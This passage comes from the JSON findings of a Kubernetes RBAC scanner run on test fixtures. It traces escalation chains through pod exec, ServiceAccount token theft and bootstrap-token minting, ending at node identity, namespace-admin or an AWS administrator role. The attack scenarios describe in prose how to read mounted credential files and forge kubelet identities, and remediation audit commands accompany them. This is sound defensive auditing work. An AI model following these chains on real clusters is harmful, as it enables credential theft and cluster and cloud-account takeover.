    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a privesc path that terminates in a kubelet client identity (`system:node:\u003cname\u003e` in `system:nodes`) for a node of its choosing.\n\nThe Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.\n\nThe chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/kube-system/generic-garbage-collector` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount kube-system/generic-garbage-collector\n  3. `ServiceAccount/kube-system/generic-garbage-collector` → `/` via `bootstrap_token_mint` (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` → `node identity`"
    },
    "impact": "Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-pod-exec`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/rbac-fixtures/sa-pod-create` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/kube-system/generic-garbage-collector` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/kube-system/generic-garbage-collector`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`delete,get,list,patch,update,watch secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. pod_create_token_theft [create pods]",
        "3. bootstrap_token_mint [delete,get,list,patch,update,watch secrets in kube-system]"
      ],
      "first_action": "pod_exec",
      "hop_count": 3,
      "target": "node_identity",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "pod_create_token_theft",
        "bootstrap_token_mint"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair `impersonate users` with `impersonate groups` naming `system:nodes`, then break the chain at: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/kube-system/generic-garbage-collector`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/kube-system/generic-garbage-collector`).",
      "Audit who may create the nodeclient subresource: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (`kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type`).",
      "Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type `bootstrap.kubernetes.io/token`.",
      "Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (`kubeadm token list`) and delete unused ones.",
      "Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (nodeclient auto-approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount kube-system/generic-garbage-collector",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete,get,list,patch,update,watch secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "system:controller:generic-garbage-collector",
        "source_role": "system:controller:generic-garbage-collector"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_identity"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (3 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there\n  3. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/cloud-eks-test/eks-admin-irsa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/cloud-eks-test/eks-admin-irsa`.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 3,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/privesc-fixtures/sa-secret-mint:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (3 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there\n  3. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-secret-mint`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/cloud-eks-test/eks-admin-irsa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/cloud-eks-test/eks-admin-irsa`.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create,get secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 3,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `create,get secrets in kube-system` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `create,get secrets in kube-system` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/rbac-fixtures/sa-pod-create:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-pod-create` can reach **namespace-admin in `cutres`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cutres/cutres-detour` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cutres/cutres-detour\n  2. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-pod-create` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-pod-create` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cutres/cutres-detour` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "namespace_admin",
